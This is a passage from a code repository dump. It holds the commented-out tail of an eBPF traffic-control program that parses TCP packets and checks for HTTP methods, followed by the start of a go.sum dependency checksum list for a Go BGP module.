ipv6hdr); 372 | 373 | // // break; 374 | 375 | // default: 376 | // return TC_ACT_OK; 377 | // } 378 | 379 | // if (h_proto != IPPROTO_TCP) 380 | // return TC_ACT_OK; 381 | 382 | // tcph = head; 383 | // if ((void *)tcph + sizeof(*tcph) > data_end) 384 | // return TC_ACT_OK; 385 | // head += sizeof(*tcph); 386 | 387 | // head += tcph->doff * 4; 388 | 389 | // if (head + tcph->doff * 4 > data_end) { 390 | // bpf_printk("doff %d, offset %d, size %d", tcph->doff, head, data_end); 391 | // return TC_ACT_OK; 392 | 393 | // } 394 | 395 | // // if (tcph->dest != 4420) 396 | // // return TC_ACT_OK; 397 | 398 | // tcp_data = head; 399 | 400 | // // 1500 is the typical MTU size 401 | // // #define MAX_ITER 1500 402 | 403 | // // for (i = 0; i < MAX_ITER; i++) 404 | // // { 405 | // // if ((void *)tcp_data + i + 1 >= data_end) 406 | // // return TC_ACT_OK; 407 | 408 | // // if (tcp_data[i] == 0) 409 | // // { 410 | // // nbzeros++; 411 | // // continue; 412 | // // } 413 | 414 | // // found = true; 415 | // // break; 416 | // // } 417 | 418 | // // if (found && nbzeros > 50) 419 | // // { 420 | // // bpf_printk("found nvme pdu tail seq=%u\n", bpf_ntohs(tcph->seq)); 421 | // // } 422 | 423 | // // return TC_ACT_OK; 424 | // // } 425 | // bpf_printk("port %d", tcph->dest); 426 | 427 | // //find a match with an HTTP message 428 | // //HTTP 429 | // // if ((void *)tcp_data[4]+1 >= data_end) { 430 | // // return TC_ACT_OK; 431 | // // } else if ((tcp_data[0] == 'H') && (tcp_data[1] == 'T') && (tcp_data[2] == 'T') && (tcp_data[3] == 'P')) { 432 | // // bpf_printk("woah"); 433 | // // } 434 | // if ((void *)tcp_data +1 <= data_end) { 435 | // if (tcp_data[0] == 'H') { 436 | // bpf_printk("woah"); 437 | 438 | // } 439 | // bpf_printk("woah"); 440 | 441 | // } 442 | // //GET 443 | // // if ((p[0] == 'G') && (p[1] == 'E') && (p[2] == 'T')) { 444 | // // goto KEEP; 445 | // // } 446 | // // //POST 447 | // // if ((p[0] == 'P') && (p[1] == 'O') && (p[2] == 'S') && (p[3] == 'T')) { 448 | // // goto KEEP; 449 | // // } 450 | // // //PUT 451 | // // if ((p[0] == 'P') && (p[1] == 'U') && (p[2] == 'T')) { 452 | // // goto KEEP; 453 | // // } 454 | // // //DELETE 455 | // // if ((p[0] == 'D') && (p[1] == 'E') && (p[2] == 'L') && (p[3] == 'E') && (p[4] == 'T') && (p[5] == 'E')) { 456 | // // goto KEEP; 457 | // // } 458 | // // //HEAD 459 | // // if ((p[0] == 'H') && (p[1] == 'E') && (p[2] == 'A') && (p[3] == 'D')) { 460 | // // goto KEEP; 461 | // // } 462 | // //no HTTP match 463 | // // goto DROP; 464 | // // //keep the packet and send it to userspace returning -1 465 | // // KEEP: 466 | // // bpf_printk("incoming %pI4, protocol: %u",&(iph -> daddr), iph -> protocol); 467 | 468 | // // return -1; 469 | // // //drop the packet returning 0 470 | // // DROP: 471 | // return 0; 472 | // } 473 | -------------------------------------------------------------------------------- /userland/go/bgp/go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 3 | cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= 4 | cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= 5 | cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= 6 | cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= 7 | cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= 8 | cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= 9 | cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= 10 | cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= 11 | cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= 12 | cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= 13 | cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= 14 | cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= 15 | cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= 16 | cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= 17 | cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= 18 | cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= 19 | cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= 20 | cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= 21 | cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= 22 | cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= 23 | cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= 24 | cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= 25 | cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= 26 | cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= 27 | cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= 28 | cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= 29 | cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= 30 | cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= 31 | cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= 32 | cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= 33 | cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= 34 | cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= 35 | cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= 36 | cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= 37 | cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= 38 | dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= 39 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 40 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= 41 | github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= 42 | github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= 43 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= 44 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= 45 | github.com/cilium/ebpf v0.12.3 h1:8ht6F9MquybnY97at+VDZb3eQQr8ev79RueWeVaEcG4= 46 | github.com/cilium/ebpf v0.12.3/go.mod h1:TctK1ivibvI3znr66ljgi4hqOT8EYQjz1KWBfb1UVgM= 47 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 48 | github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= 49 | github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= 50 | github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= 51 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 52 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 53 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 54 | github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13 h1:fAjc9m62+UWV/WAFKLNi6ZS0675eEUC9y3AlwSbQu1Y= 55 | github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= 56 | github.com/eapache/channels v1.1.0 h1:F1taHcn7/F0i8DYqKXJnyhJcVpp2kgFcNePxXtnyu4k= 57 | github.com/eapache/channels v1.1.0/go.mod h1:jMm2qB5Ubtg9zLd+inMZd2/NUvXgzmWXsDaLyQIGfH0= 58 | github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc= 59 | github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= 60 | github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 61 | github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 62 | github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= 63 | github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= 64 | github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= 65 | github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= 66 | github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA= 67 | github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= 68 | github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= 69 | github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= 70 | github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= 71 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= 72 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= 73 | github.com/go-test/deep v1.1.0 h1:WOcxcdHcvdgThNXjw0t76K42FXTU7HpNQWHpA2HHNlg= 74 | github.com/go-test/deep v1.1.0/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= 75 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 76 | github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 77 | github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 78 | github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 79 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 80 | github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 81 | github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= 82 | github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= 83 | github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= 84 | github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= 85 | github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= 86 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 87 | github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 88 | github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 89 | github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= 90 | github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= 91 | github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= 92 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= 93 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= 94 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= 95 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= 96 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= 97 | github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= 98 | github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 99 | github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 100 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 101 | github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= 102 | github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= 103 | github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= 104 | github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= 105 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 106 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 107 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 108 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 109 | github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 110 | github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 111 | github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 112 | github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 113 | github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 114 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 115 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 116 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 117 | github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= 118 | github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= 119 | github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= 120 | github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= 121 | github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= 122 | github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= 123 | github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= 124 | github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= 125 | github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= 126 | github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= 127 | github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= 128 | github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= 129 | github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= 130 | github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= 131 | github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 132 | github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= 133 | github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 134 | github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= 135 | github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= 136 | github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= 137 | github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= 138 | github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= 139 | github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= 140 | github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= 141 | github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= 142 | github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= 143 | github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= 144 | github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= 145 | github.com/k-sone/critbitgo v1.4.0 h1:l71cTyBGeh6X5ATh6Fibgw3+rtNT80BA0uNNWgkPrbE= 146 | github.com/k-sone/critbitgo v1.4.0/go.mod h1:7E6pyoyADnFxlUBEKcnfS49b7SUAQGMK+OAp/UQvo0s= 147 | github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= 148 | github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= 149 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 150 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 151 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 152 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 153 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 154 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 155 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 156 | github.com/kube-vip/kube-vip v0.6.4 h1:14gMq4eCexPGx685Va74gq9y0Ew01qg6bAmvxPvmPBE= 157 | github.com/kube-vip/kube-vip v0.6.4/go.mod h1:JWbnK6pRtxfe6yIwCzN/ke60Lh7avPTK9zXrGy5A1xg= 158 | github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= 159 | github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= 160 | github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= 161 | github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= 162 | github.com/osrg/gobgp/v3 v3.19.0 h1:SHjeu707EVp5h2LR8qLxDz/PzFU6oO+jhquGzGsigTI= 163 | github.com/osrg/gobgp/v3 v3.19.0/go.mod h1:TszzyYD/31jXlljifRhxFEmPsITEloZmGU5CTN21W18= 164 | github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ= 165 | github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4= 166 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 167 | github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= 168 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 169 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 170 | github.com/praserx/ipconv v1.2.1 h1:MWGfrF+OZ0pqIuTlNlMgvJDDbohC3h751oN1+Ov3x4k= 171 | github.com/praserx/ipconv v1.2.1/go.mod h1:DSy+AKre/e3w/npsmUDMio+OR/a2rvmMdI7rerOIgqI= 172 | github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= 173 | github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= 174 | github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= 175 | github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= 176 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 177 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 178 | github.com/spf13/afero v1.9.5 h1:stMpOSZFs//0Lv29HduCmli3GUfpFoF3Y1Q/aXj/wVM= 179 | github.com/spf13/afero v1.9.5/go.mod h1:UBogFpq8E9Hx+xc5CNTTEpTnuHVmXDwZcZcE1eb/UhQ= 180 | github.com/spf13/cast v1.5.1 